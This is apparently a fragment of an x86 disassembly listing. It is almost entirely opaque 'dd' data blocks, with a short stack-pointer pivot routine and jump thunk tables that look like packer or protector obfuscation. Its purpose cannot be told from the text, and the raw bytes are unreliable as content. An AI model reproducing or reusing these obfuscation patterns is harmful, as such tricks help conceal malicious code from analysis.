		dd 4BE86DE8h, 3B53F20Eh, 3E9F91E3h, 365B53C5h, 48332884h
		dd 19C140AFh, 0DF21306Bh, 42C24B39h, 1493EE9Ah,	8931F09Fh
		dd 59BB0368h, 49788CE4h, 0FF7E2696h, 5EF4E171h,	0D384366Ah
		dd 5BA12377h, 34CEE067h, 6B000000h, 9751D0BFh, 0FA828071h
		dd 0E05FDE06h, 0F5CD994h, 98F04DAFh, 0CE8A544h,	0F59DEB52h
		dd 0E8AC00h, 0F63CF70h,	0D6E5A59Dh, 0EFF2h, 45C24D00h
		dd 6D451C99h, 0F9EEA94h, 0AF3E4AF8h, 0D20FAC56h, 0FA823FBEh
		dd 21A29906h, 8B33F25Bh, 7ED4FA6Eh, 15EC06FAh, 0BD41D06Dh
		dd 93106D1Bh, 640E177Ah, 0C92BB318h, 6FFA3774h,	0E29FED97h
		dd 0FA868372h, 0E55EDD06h, 0E8948373h, 8760DB0Ch, 8B30942Ah
		dd 0F5242165h, 5B6850Ah, 1EC859C8h, 0F39E1752h,	2A358634h
		dd 0A044DEDAh, 0A11A99D4h, 0DC648E4Fh, 0D055280Ah, 0A753D03Fh
		dd 0B439A57Ch, 0B29CC864h, 1E8h, 85621216h, 0D435D92Ah
		dd 0E603AD75h, 34D5778Bh, 47A04ED5h, 0D62D0A3Ch, 0A060CF28h
		dd 6DB01FF8h, 44DD2CCDh, 67247D9Ah, 0ED6FD001h,	9506E00h
		dd 704C21BFh, 2450FE05h, 3EBED749h, 5AFE006Bh, 0CD798ED9h
		dd 0B6D20F2Ch, 0C5DC6522h, 0F1E070FDh, 4F06FA06h, 63FBED2h
		dd 0A29906FAh, 42C3AE27h, 0EE342398h, 0C928C142h, 50ED4F6Fh
		dd 0E8A5A438h, 9D67F20Ch, 0B32246F7h, 0D00E8AFh, 0BDC5B32Eh
		dd 0E8AF38h, 0C0AC54ACh, 6513B549h, 6167C27h, 1C74DE83h
		dd 0D6E5A6ACh, 0BFFDh, 946D6400h, 0FC1451EAh, 6FA82FDh
		dd 0D48AFD5Bh, 0A407F93Ah, 0D169B729h, 0A71CFA1Bh, 38CF5E2Eh
		dd 23BDFE8Ah, 0F6C3BB31h, 0BE22A31Eh, 6FA5A10h,	38C5D150h
		dd 41FE1B96h, 0D8A450D6h, 0B849189Dh, 0D5E9620Eh, 71B7D16Eh
		dd 0A520F473h, 0A7CBF818h, 32A9956Bh, 0ECEC04B1h, 4A0CE860h
		dd 25B916F3h, 51167AC3h, 530AF404h, 3FC453E8h, 0F1E3A47Fh
		dd 48BF83A9h, 9572F16Ch, 9641ED3Ah, 64B52035h, 0C5220C78h
		dd 0F3000000h, 76A8735h, 56B956FCh, 64CB24D0h, 0B619F69Ah
		dd 1124C571h, 4DF90E2Dh, 1DC35DACh, 0EE906DFCh,	0BF67BE11h
		dd 2C44F922h, 0ED6CADh,	6DEA6F0Bh, 0A00FE896h, 0F958B961h
		dd 0B1702BFh, 82FEFF69h, 0E55806FAh, 56000160h,	0B862A32Ah
		dd 88ECF25Fh, 0DE59DD33h, 127D0CE5h, 5E1B6915h,	0ED3495E3h
		dd 9969F845h, 3A9576EFh, 2D3543EBh, 0F06CBB9Eh,	0DFD5592h
		dd 90AD4AF4h, 5CD97F81h, 3E4AF40Dh, 0C3B153AFh,	89C7A3E4h
		dd 64E1859Eh, 1C4FFC05h, 63A0A4EAh, 4596BD22h, 8B062259h
		dd 859CF30Ch, 0AFECAFDDh, 63AF9859h, 43B2D631h,	9D3163AFh
		dd 3D7EFD9Eh, 63AF2AABh, 3CB98431h, 392h, 0F9987700h, 9BE9976Dh
		dd 3D4BF332h, 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h
		dd 4B39DB27h, 0EC9844C2h, 70FCA27Dh, 68D8682Dh,	14890000h
		dd 81E28924h, 4C2h, 4EA8300h, 5C241487h, 290D68h, 243C8900h
		dd 684E68h, 242C8900h, 7F06B850h, 8135165Ch, 4843E03Ah
		dd 0D140D0F7h, 15505E8h, 0D63534C9h, 898FFD3Bh,	0EC8158C7h
		dd 4, 83242489h, 5D042404h, 8BA52h, 0EA010000h,	148B3A89h
		dd 4C48124h, 8B000000h,	8952242Ch, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 243C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 0F9h, 62h, 3Bh
		dd 88B8C627h, 30617EFh,	8FE0FFC5h, 1032DEFFh, 7115B496h
		dd 0FD0AEF18h, 2B2C4F11h, 0F160BD3Bh, 0F03F772Bh, 807DF9Ch
		dd 577EEB01h, 0FB036206h, 102B2125h, 8D62865Ah,	4841C5E4h
		dd 0C54D3888h, 164612D4h, 1D6B7A7Eh, 337DCDA6h,	44269243h
		dd 0E1677BB6h, 0FD72F864h, 8D4BD1C1h, 17F1588Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 918D89B1h, 6A061227h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 247FC350h, 8BF86E69h
		dd 3985C7D6h, 28061234h, 6A00006Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B2EC356h
		dd 5D85C7D7h, 6122Eh, 0BA000000h, 7316FE12h, 1A9DB5FFh
		dd 0DE800612h, 0C995FF70h, 6A06120Ah, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0F6D9C356h
		dd 0BE9E2h, 0A83E0000h,	22C2CDA3h, 675FEF8Fh, 14E9C3h
		dd 9A090000h, 7B7D4BE6h, 6BB8E070h, 2BD1C04Bh, 9EF1B1B5h
		dd 6ADF74h, 247595FFh, 0C08B0612h, 53BF5EEBh, 0D34D051Bh
		dd 976D0DB6h, 56F4466Fh, 37F50195h, 0CC73566Ah,	5952867Ch
		dd 6A5D5C76h, 8EF4FE44h, 0FABCD83Fh, 0FBC1A946h, 0A3E1326Ah
		dd 0A58629D4h, 89DF208h, 753736DAh, 1800B63Ch, 0D129D9CDh
		dd 99704A52h, 7940855Dh, 0FA0228B9h, 31EA0B4Ch,	9DBFDB2Fh
		dd 7609F3F3h, 6C0AEE8Ch, 0BE8h,	0A334DB00h, 9DBD0A79h
		dd 35A3C79h, 32FD8589h,	0B85F0612h, 19CA9DE2h, 5E5AC781h
		dd 12E90000h, 0D5000000h, 0D3BD588Fh, 7BA58BA6h, 0D2A77098h
		dd 380F4C3Eh, 175E68AEh, 81660000h, 5EC757C2h, 0FFC3F380h
		dd 8B606037h, 123461B5h, 11E96106h, 0E1000000h,	0C06AF1E5h
		dd 181BA806h, 0CBAEF4DEh, 20BA968Ah, 8D895961h,	6122FB9h
		dd 6960C181h, 0BD891A3Ch, 6120185h, 3069F181h, 9D896DB8h
		dd 6123301h, 0E632F181h, 81662730h, 89CEF5D3h, 7E90Fh
		dd 0E3D70000h, 28DCA9CBh, 4EF83CFh, 0CE8h, 0DD265B00h
		dd 0FFAD020Dh, 0D81B6857h, 49958BA8h, 5A061200h, 0F01EE83h
		dd 1785h, 39EA8000h, 1EE9h, 7764A500h, 22024028h, 0F24E564Fh
		dd 11C5D593h, 0E90BC280h, 0FFFFFF63h, 24910A25h, 0E9C88B4Bh
		dd 28h,	4D7D3CC2h, 2420000h, 8 dup(0)
		dd 0C7FE9h, 0F48E6800h,	0C3E90617h, 68FFFB54h, 617F581h
		dd 0FB54B9E9h, 0F70468FFh, 0AFE90617h, 68FFFB54h, 617F7F5h
		dd 0FB54A5E9h, 0F8D968FFh, 9BE90617h, 68FFFB54h, 617FA87h
		dd 0FB5491E9h, 0FB4468FFh, 87E90617h, 68FFFB54h, 617FCC4h
		dd 0FB547DE9h, 0FDCB68FFh, 73E90617h, 7BFFFB54h, 169DE0EBh
		dd 0C164C914h, 0E64DB03Bh, 93169B66h, 88E04D92h, 874CDD1Eh
		dd 6B78F73Ah, 519EA306h, 39C659ECh, 0CEFBE7B4h,	0E2534C24h
		dd 0AA1BE9ADh, 9C1F4A97h, 5AA5A7EEh, 1AE7782Fh,	0AD4DDE55h
		dd 71FC5497h, 70828F9Dh, 59DC3B58h, 58AA4475h, 0B127DC3Bh
		dd 905DEC59h, 0D861ADD5h, 3B5945E9h, 0BC148CDCh, 1FE467AEh
		dd 6975F050h, 0D01D2A9Bh, 0DBCA9AFh, 0E24D674Eh, 5F521D7Bh
		dd 0E24D67AFh, 0FCE8CB2Eh, 3134B749h, 224EC39h,	5544524Eh
		dd 0E24D5FB9h, 7CC58010h, 3Ah, 2B7A4A3Dh, 862B6859h, 8233E24Dh
		dd 57317E83h, 0FC29F935h, 521717ACh, 35F4BB1Dh,	0E24E4015h
		dd 0C9767B8Eh, 531CE162h, 29C9FFAh, 0FF7B7E81h,	4E02F92Eh
		dd 0BF55h, 0B6491A00h, 1E2F0629h, 8487AED1h, 8CDA307Fh
		dd 578691C1h, 0F4BBAE9Eh, 28036E73h, 0DC3BEACFh, 47AA37C8h
		dd 0ED925FE0h, 283A8945h, 4E1FC679h, 289503E2h,	0CE524686h
		dd 1F769889h, 0C553E24Eh, 0A37156Dh, 0E862CFCEh, 82A17FBh
		dd 0C1E862D0h, 0D042ECDDh, 98FE862h, 7D4B59B1h,	0CF90A26Fh
		dd 0DF39E862h, 9966E7AAh, 0FD283614h, 79DF606Bh, 62CFA648h
		dd 0B0B523E8h, 0EB777C8Dh, 779C254Dh, 308A909Fh, 0C700000Ah
		dd 0F2398447h, 0AD006D70h, 42E95497h, 7FB23FC2h, 0EC9CE1EEh
		dd 5BA8B97Ah, 0FD453D6h, 0F5FA0FA2h, 0DD222588h, 929F4B50h
		dd 0E2534C80h, 49EC0D49h, 63C62BB8h, 0EFAE13E0h, 592B7A4Ah
		dd 0D09558ECh, 86581F0Ah, 16E4E24Dh, 4D87072Bh,	1356C2E2h
		dd 0AD41705Eh, 24E24D86h, 0F5FA09BCh, 2FDFD29Dh, 0AEE24D87h
		dd 3BE8684Bh, 0A64E023Fh, 0BBh,	29B6490Bh, 0D11E2F06h
		dd 711220AEh, 0A557A2ACh, 6F4873F6h, 68DC3C25h,	0A70AD7h
		dd 414DF2FFh, 5116BB33h, 197F00CBh, 0A7CED64Bh,	6130FCA2h
		dd 866D9683h, 0E3F1E24Eh, 4E871C36h, 2623B5E2h,	0C46AD741h
		dd 49949408h, 0F8CA2226h, 87133FEAh, 5ABEE24Eh,	15D2DF2Fh
		dd 0BCE86334h, 4EDF4624h, 6B34D84Bh, 0C75F198Eh, 8436377Ah
		dd 7E357A87h, 0FF59E6EBh, 0DF430F67h, 0CD779BE3h, 93DDC62h
		dd 3AC80000h, 63E74AB7h, 8A9E1598h, 0B5B7FA47h,	0E160C72Ah
		dd 69DF911Ch, 0EB569BAAh, 0B73AC744h, 9DE0ED70h, 65C81516h
		dd 739F8A58h, 5EE2534Dh, 0B849F938h, 0E063C62Bh, 49EFAE13h
		dd 0FF0204B6h, 0D255D867h, 2E113F0Dh, 11276170h, 4AAD98Ch
		dd 3EEBF9C8h, 0E24E371Dh, 0CC665321h, 5E24E36h,	791D693h
		dd 6C71F025h, 62E548F9h, 8A9D109Dh, 8FC3D468h, 7DC32205h
		dd 85AA029Ah, 9443252Ah, 64578E69h, 228F54D7h, 6669FD28h
		dd 36CA7FD9h, 0D98C84ABh, 234C9192h, 94425F8Ch,	0C97C9269h
		dd 0E9D8AA35h, 69944345h, 651148Ch, 7E838433h, 26ABBCF3h
		dd 42759619h, 0DC6E6994h, 41C76E11h, 2C1DF1BEh,	69944302h
		dd 292049CFh, 656AFD4Ah, 3F66640Dh, 0DCA7A22Dh,	3DDD6EDDh
		dd 0E449A12Eh, 0E31BE41h, 6B87B280h, 0B3699442h, 49A6B4ABh
		dd 0F39F1887h, 53B5F23Eh, 0F570C8B1h, 0A1F814Dh, 46DEBAC5h
		dd 69FAB564h, 41D76FA6h, 0AD303263h, 0A4C38682h, 11F3C202h
		dd 0C0087143h, 392C9C49h, 332FE4D5h, 3E9A75B9h,	9A65F92Ch
		dd 0A09173D5h, 75B9328Eh, 1FA8DD3Bh, 0B9327B90h, 1C1F6275h
		dd 6DEF8F9Ch, 4ABCAE1h,	0EEB70000h, 58FD1100h, 61D4DC3Bh
		dd 0F5531CDFh, 0D21E89Dh, 72DC3B59h, 0DC3B68DCh, 3B6C9343h
		dd 6C6288DCh, 8E5EDC3Bh, 0A7742507h, 22E24D80h,	7362AAB6h
		dd 0DD6A7DB1h, 7BA41h, 32BD4D00h, 1BE678CFh, 0C20D1396h
		dd 0B538C87Fh, 9F64E548h, 2FEC5A12h, 0D96CD11Eh, 0F538854Ah
		dd 0AB1E6370h, 0D5E64B98h, 4FF61809h, 87D3E253h, 29B6497Ah
		dd 44D84D5Bh, 586688B9h, 0F563DC3Bh, 1C23AEB0h,	4EE04104h
		dd 6455377Eh, 0E2534B75h, 6CB5CC9h, 47AA2E43h, 8C51DE47h
		dd 3EE065E3h, 12864659h, 0A1A7C815h, 0BC6D7B49h, 0E2534B92h
		dd 5EACD93Fh, 654E1453h, 0E0D1BDE8h, 0E8654E4Eh, 4851D7Bh
		dd 0C68AF855h, 4CD14497h, 0ED98F887h, 0F57769A5h, 6BC345EAh
		dd 0AEEBA899h, 0F8E69DD8h, 0D8AF25C9h, 0DC34AC9Dh, 0C1EBA0CEh
		dd 596CC684h, 5BAB832Ch, 0F94B7654h, 0D0A3EAA7h, 30336240h
		dd 0C1849CA3h, 50412F3Dh, 0A3EAA7BEh, 97D82339h, 57D246B1h
		dd 15580DD2h, 0CD60CD12h, 0E0723F3Ah, 0E9A3EAA7h, 0CB4B176Fh
		dd 0D1BC144Ch, 6C9C856h, 0AEBC0000h, 0D76BDE23h, 0FE02A914h
		dd 293B8EF3h, 55D45BA6h, 0DD4B2588h, 7FC20F1Eh,	4BB63BC8h
		dd 119C61E4h, 0F944899Ah, 0E70B3624h, 0E2E2534Fh, 7A4A05B4h
		dd 0CF68592Bh, 0FAE24D7Dh, 8198C9Eh, 0A316B4FBh, 7E298C9h
		dd 7FC8BD15h, 7A948593h, 82E24E51h, 16B53DA0h, 34AC0B75h
		dd 0F4F90A31h, 5CEAF04Bh, 0EEBA3E0Dh, 0BF8397BDh, 0FBEA2E7Ch
		dd 9665FC69h, 33DDE08Eh, 0EAF73332h, 1C23B0BFh,	0CD194104h
		dd 2235E4C6h, 0AFE8600Fh, 0F8C6C429h, 600F25C9h, 5DFEACE8h
		dd 0A1CB8E2Dh, 4477F24Ah, 0E85FF9A6h, 5FF97995h, 1EA561E8h
		dd 71F73E0Ch, 0FA1935E4h, 20B0E85Fh, 0A4A1A7C8h, 77EC8475h
		dd 0A4CB4DEEh, 77ECEC05h, 692270EEh, 7CAB0A08h,	25C4F772h
		dd 9EEE77FEh, 41C408Dh,	687186F7h, 5E543DFh, 92900000h
		dd 0BB4FE24Fh, 0E266CD30h, 0D1F921Fh, 39C87FC2h, 0B12749B4h
		dd 83EEF372h, 6FD21F2Ch, 35B845D8h, 1D606DFEh, 0CB675200h
		dd 6E25350h, 7A4A2150h,	585EF0A1h, 0C06BDC3Bh, 95F3BC41h
		dd 6A77883Dh, 98013012h, 31E2534Bh, 929598A7h, 7B4EE04Dh
		dd 1F200B34h, 47D86FD2h, 0E87DA8BAh, 8BB43936h,	0F730358Dh
		dd 1926ABBCh, 0DBAB9D8h, 917F5FAh, 534BF618h, 45D3E2h
		dd 430FD65h, 86AB4E08h,	47000001h, 0C3864BDEh, 2B7A4A68h
		dd 55310B59h, 3540830h,	0CA85B446h, 7E24E41h, 2DC3EE91h
		dd 96E24E42h, 2B5499h, 0FE3A38FFh, 0ED265427h, 0A4BFEA95h
		dd 7D144BD5h, 0A3F2327Eh, 0A9FD0C1h, 0AE2AE860h, 0AD569DCh
		dd 8A9D105Fh, 0F0733A45h, 0BE7301E3h, 0C7035F3h, 65CDB8ADh
		dd 19081AA9h, 0EE71EB62h, 6B46E96Fh, 0EE71EBC3h, 0C0D4A73Ah
		dd 0EC2BC7F2h, 633EE71h, 0EE71EBECh, 9C0473E5h,	0A89491E9h
		dd 2ACF5A26h, 0B0000000h, 592B7A4Ah, 4D862B68h,	0D32A6E2h
		dd 4D858CA2h, 0BEE71E2h, 23E9E8Fh, 0C7C54Eh, 0EBF90000h
		dd 4D7A143Eh, 2E5BBDE2h, 4B6498Fh, 0D3B5FA07h, 0F071347Bh
		dd 7F7301E3h, 6DDEF233h, 141FA8DDh, 9D62E313h, 21CDFCD2h
		dd 0A8DC3BF6h, 6A78D028h, 0F581AD9Ch, 0C848DC3Bh, 6192C9Dh
		dd 62B574F9h, 5DDC3BFAh, 76B805CAh, 9AB465B6h, 0A2DC3BFAh
		dd 3BFA5BF7h, 95E276DCh, 0E8D9AB03h, 0E250A899h, 53C2A030h
		dd 0DA00DD2h, 282E3DFCh, 323745D9h, 156D72F7h, 0AE0CC149h
		dd 3A002F7Dh, 437h, 30BD40CEh, 1B6669FDh, 0E04D9094h, 0CD30BB4Dh
		dd 971AE766h, 0A1A063D5h, 0CD5AD15Ch, 0F376BD00h, 1B2C83EEh
		dd 84526BD6h, 53527995h, 0F70250E2h, 0C62BB849h, 0CB51C4h
		dd 0AF32347Fh, 3D288080h, 85E8F576h, 29B649DAh,	0D71C2F06h
		dd 0BBBC40F5h, 3B58648Eh, 93EB6DDCh, 72F174ECh,	0D91DCDCBh
		dd 0EC02DC3Bh, 0D4DC3BD8h, 8EBB8918h, 0E253CB0Fh, 9964E62Fh
		dd 363772D6h, 97BBBCA9h, 0C999DBA2h, 99A63E45h,	0D5C45591h
		dd 0E253EA39h, 77220090h, 0E253E9DBh, 380A62F6h, 0CA757A8Dh
		dd 0EA39D5C4h, 90E253h,	6051BDA8h, 0E865ED5Bh, 0B73CCF76h
		dd 6E1335Fh, 0DC6B7799h, 37A7Eh, 0F2FD0D00h, 0DB26388Fh
		dd 824DD356h, 7578883Fh, 5FA4A508h, 0EF2C9AD2h,	992C915Eh
		dd 0B5F8458Ah, 6BDE23B0h, 95A60BD8h, 5436D8C9h,	0C793E253h
		dd 0E3B649BAh, 0F5B4FC5Dh, 0FE010555h, 0CA610E66h, 4549B439h
		dd 98AD4DD0h, 0D42C244Bh, 0F6B8ADABh, 3CC14236h, 542B576Eh
		dd 176F6DF4h, 6FFE2735h, 39B1DD62h, 89AA346Eh, 147F0D65h
		dd 99CF7768h, 255A85C0h, 39E24DE9h, 0DC9C6Bh, 0D5B3FC01h
		dd 0AFBB76B7h, 2C53C5BAh, 0EDF277BEh, 0D699B178h, 102E24Dh
		dd 66F8B3FCh, 0E473D49Bh, 0C1188B15h, 0B4B3E2F2h, 4500002Fh
		dd 294002Dh, 417B4Eh, 0EEC40000h, 58FD1100h, 86D4DC3Bh
		dd 438536B8h, 540D835h,	2002915Dh, 0DC6370F5h, 0CCFD0144h
		dd 0E24DF487h, 6A9D642h, 0E24DF4E8h, 33AF82D5h,	4E02ADF2h
		dd 0D169h, 55F78500h, 35908415h, 4947E663h, 2F0629B6h
		dd 0E5F3D11Eh, 3B591A34h, 2421B7DCh, 8C39078Bh,	4DCB7479h
		dd 3B58B25Ch, 0CCB91FDCh, 36798699h, 11DE6DD8h,	0D11E2154h
		dd 5D7A5D6Ch, 0E265DC3Bh, 0A1D901Dh, 4654BAC5h,	3B5DB75Bh
		dd 0C38612DCh, 62404F9Fh, 4D8F9CB7h, 5EA335E2h,	0B7951CE8h
		dd 623FB58Ah, 91C89E8h,	68DDBBC4h, 1E5316DBh, 0EC7DA8BAh
		dd 0A3705E7h, 0E8623FE8h, 77F277E1h, 80663130h,	1BE67A90h
		dd 0CB75BE49h, 9FEFEF73h, 0EA45779Ch, 1FA54h, 727D8D00h
		dd 5BA6B80Fh, 2CD53D6h,	0F5F808BFh, 0DF242588h,	6FAC1A52h
		dd 19AC11DEh, 3578C50Ah, 0EB5EA330h, 15268B58h,	54B65849h
		dd 4713E253h, 2BB8493Ah, 13E063C6h, 7A4AEFAEh, 2B68592Bh
		dd 0A6E24D86h, 8CA20D32h, 71E24D85h, 921BD765h,	0CE46279Eh
		dd 79F9F89Bh, 4E02F8ACh, 0DD222392h, 0F607A8h, 49E80000h
		dd 2F0629B6h, 20AED11Eh, 0C06F74F5h, 1DA0540h, 0FADC3B5Eh
		dd 34B74969h, 789A870Bh, 51DC3B5Dh, 0AA176FC7h,	0B0FF0407h
		dd 0B8ED2EFEh, 0C66859A4h, 96DC3B5Dh, 3B5D87ABh, 61D642DCh
		dd 9C8D9FF7h, 0E24D8F73h, 0B448FDCBh, 3020629h,	0E24D8FEFh
		dd 0E9965BE8h, 0DD88086Fh, 79B13CA4h, 3604E6ADh, 8FD57928h
		dd 64FCE24Dh, 3D023EE1h, 49CFE862h, 929F6D7Bh, 0E8623C80h
		dd 34DECF49h, 9DE8623Dh, 76CE1316h, 0A81DEBF3h,	22264994h
		dd 0ECF17027h, 0D61B2A81h, 9CB75E8Ah, 0DD61CE77h, 0F3h
		dd 0F4798482h, 0DF22ADB1h, 0A409D468h, 71FCFF01h, 5BA62B3Ah
		dd 0E564A711h, 111E9518h, 37CA61CCh, 5FE047AAh,	400E2F92h
		dd 5355BD51h, 334E14E2h, 2EA40EEh, 900AFF47h, 0D89FAED5h
		dd 3C3245E9h, 991059DCh, 0BAE3798Fh, 6974F63Dh,	0F134B911h
		dd 5D1C616Eh, 629B649h,	0C00B1D88h, 0F9ACD9BFh,	92149966h
		dd 0B0614352h, 0E2534B45h, 6836148Ch, 6A216EE0h, 0BDCF8Ah
		dd 0AD2EE7D6h, 0CE65C287h, 414DB03Dh, 0DB8E53D4h, 7C4E9394h
		dd 5C8FA36Eh, 0DE3AE252h, 5B01EABh, 0D44CF300h,	20126E91h
		dd 7A9D2DBDh, 0AA37C877h, 925FE047h, 16C646EDh,	0ADABD419h
		dd 0FD032A55h, 65E64DF2h, 0A9A0D798h, 69F050CAh, 0A52A3D8Ah
		dd 3CE5EC7h, 83842B46h,	600FD453h, 5BE788E0h, 17h, 0A8A7EEDEh
		dd 907A2E5Bh, 0CC0F1382h, 4AE4A5A3h, 87DC3B59h,	49D55411h
		dd 220936B9h, 9893DC21h, 7C377885h, 0D65DE2EFh,	4EE58A57h
		dd 260D32BFh, 9194DB26h, 743F408Bh, 3940EFF2h, 4F9368h
		dd 243C8900h, 67E268h, 24148900h, 7D4A68h, 242C8900h, 1B05BB53h
		dd 0BA52466Dh, 1D9E7CE2h, 8107E2C1h, 0E5671BC2h, 81D2F759h
		dd 6B4CDDF2h, 6F28147h,	8146511Dh, 9471F8C2h, 5AD33168h
		dd 545BDA89h, 83242C8Bh, 0B85004C4h, 8,	8F52E801h, 34FF5800h
		dd 0C4815D24h, 4, 5A2434FFh, 0E904C483h, 0FFFB4852h, 10A070BBh
		dd 17FEE3B8h, 0FFC50306h, 9904AEE0h, 2E03800Bh,	0DC8A3368h
		dd 0D72BD903h, 68436706h, 85A3AD37h, 5B32127Ah,	7209261Eh
		dd 474DA652h, 9FCBA05Ah, 96AFB657h, 93970C30h, 998D8D50h
		dd 6A061800h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 96D6C352h, 8B63807Eh, 8D8B60D8h
		dd 6122575h, 3101BD8Bh,	89610612h, 1227918Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 1CD69C28h, 4BFCBE15h, 343985C7h, 58340612h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 895E4CC3h, 12171985h, 5D85C706h, 6122Eh, 81000000h
		dd 0BE2318E3h, 0D1B5FF54h, 6A061232h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0E511C357h
		dd 9D6ACCE1h, 55EBA4F0h, 12059D8Bh, 95FF0612h, 6120AC9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 44C35747h
		dd 0F3EE7BDh, 4DCBD7FAh, 4840F49h, 66000000h, 6A77CAB8h
		dd 7595FF00h, 8B061224h, 0D84BEBC0h, 1278F2E5h,	7A608BC3h
		dd 87849073h, 623F18E2h, 0A03ACC91h, 13BE62FAh,	4A33DB73h
		dd 0A9965BD7h, 1E266F1h, 0FD4CF404h, 0E1F16AD8h, 0DFC69BA0h
		dd 313C3E42h, 7075E3E9h, 0D445B81Ah, 2B10C97Bh,	8358353Ah
		dd 38883B0h, 0D2E9D233h, 95000000h, 0D732ADCAh,	0C3CA459Ch
		dd 0DAB6E1C8h, 95A7ACABh, 0F44592B3h, 0B395A1h,	0A7ECABDAh
		dd 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh
		dd 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h
		dd 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch,	8A924Ah
		dd 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h,	0D77D41F4h
		dd 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h
		dd 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h
		dd 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h, 0A8CD43F1h
		dd 0F0h, 74470000h, 0E0E3129Dh,	5E99h, 6 dup(0)
		dd 1529E900h, 0CE680000h, 0E9061803h, 0FFFA7EA4h, 1804E568h
		dd 7E9AE906h, 0B168FFFAh, 0E9061805h, 0FFFA7E90h, 1806D268h
		dd 7E86E906h, 6468FFFAh, 0E9061807h, 0FFFA7E7Ch, 18080268h
		dd 7E72E906h, 8E68FFFAh, 0E9061808h, 0FFFA7E68h, 18095768h
		dd 7E5EE906h, 0FE68FFFAh, 0E9061809h, 0FFFA7E54h, 180B4F68h
		dd 7E4AE906h, 4C68FFFAh, 0E906180Ch, 0FFFA7E40h, 180DB568h
		dd 7E36E906h, 0DB68FFFAh, 0E906180Eh, 0FFFA7E2Ch, 18103168h
		dd 7E22E906h, 7368FFFAh, 0E9061811h, 0FFFA7E18h, 18139A68h
		dd 7E0EE906h, 0BB68FFFAh, 0E9061814h, 0FFFA7E04h, 0B9560602h
		dd 0C829CD56h, 1AF7A161h, 28C96BB7h, 7B9442C1h,	0CA59FEC0h
		dd 946CC31Ch, 61BC13ECh, 38C920C1h, 7328718Eh, 0E280DC1Dh
		dd 55C7A00h, 106946Dh, 41BC6AB9h, 0CDBB3633h, 0A01DC55Ch
		dd 0BCC86EB1h, 5D2BD52Dh, 0CF20A520h, 43F85C62h, 5DB449D4h
		dd 9F1F15E9h, 462351CCh, 243370CDh, 2EB233DFh, 0CE8E29Ah
		dd 83D3A19Ch, 0E8F656h,	0D16B8526h, 93A173EDh, 7ED7D53h
		dd 0A31E1A71h, 0E79535C8h, 0F258098Ah, 0E5E22E9Eh, 4243D6h
		dd 6FE60000h, 1350ED4Fh, 9A48FD04h, 9A6554A9h, 98008500h
		dd 0CE87A44h, 55FF0752h, 0A1CF4A27h, 2B89EFAh, 49C63759h
		dd 1D6000E9h, 0B006E83h, 0C9D3068Ah, 0FEA300E9h, 0C0CC3C94h
		dd 0C5DDD6E4h, 44000000h, 9EEA946Dh, 3E4AF80Fh,	7E9256AFh
		dd 6FA827Fh, 99E762D9h,	3D54F130h, 6E77F54Ah, 0E8789914h
		dd 6FA8D77h, 0A551D641h, 16C04120h, 4CD544F9h, 9436CBA2h
		dd 79088DE8h, 1972FEA8h, 0B6DA63C5h, 0CE879F6h,	58FE0110h
		dd 87D4512Ch, 0E8F65BB4h, 34487C99h, 6C84D30Fh,	0E9DE6Dh
		dd 76F570CBh, 7FACA3C5h, 1B060AF4h, 5B166208h, 7DBEBDDAh
		dd 0D4691512h, 26FEBC45h, 6982037Eh, 82550106h,	64BCBC20h
		dd 91AB75F1h, 0A3000012h, 0F75AB765h, 669862Ch,	54BB5400h
		dd 66C926CAh, 6114F5A1h, 7D29FE5Dh, 4DF30D9Ch, 1EC05DACh
		dd 0EF976EC1h, 7C948912h, 0E2817Dh, 6DDA3FDBh, 0A00FE896h
		dd 0F958B961h, 50ED4F6Fh, 0B64BD613h, 9B0D6814h, 6FA825Ah
		dd 0C89541C6h, 7468F075h, 0A20CE8A5h, 0B1EEADDBh, 0E8AF9E5Fh
		dd 0C0453800h, 0E8AF9D58h, 0CEA4ED00h, 0E5A60AFAh, 0F067D6h
		dd 6D020000h, 3751EA94h, 32C22432h, 1864E16Ch, 0B8C472B1h
		dd 0FA8DB7A8h, 0B160106h, 0E3601D6Bh, 34D57D84h, 0D6A24CD5h
		dd 0DD6CBAA5h, 0DFE40B5Ch, 610F8A88h, 1E085619h, 1F9AF8FFh
		dd 93F5C9A6h, 0CCA6C62Ah, 600CE8h, 0A060B4CEh, 89D64F6Eh
		dd 392855B2h, 363341E7h, 940ED0BDh, 0E8B57D7Ch,	0E560DB00h
		dd 0F30C1B58h, 0E659214Fh, 0B2578E77h, 9A0E8702h, 0AF5DF96h
		dd 0EBD4A0C0h, 23FD746Eh, 3586F5A2h, 0B035D92Ah, 630F1403h
		dd 8A4B9DDAh, 240ADD06h, 0AC03DC59h, 6C78AB57h,	2D64BC34h
		dd 117A1721h, 7C880000h, 43DC33CCh, 17EF429Fh, 0E13D8C6Dh
		dd 0B84FA23Fh, 7456ED0Ah, 759240C7h, 85620A1Ah,	0DA37D72Ah
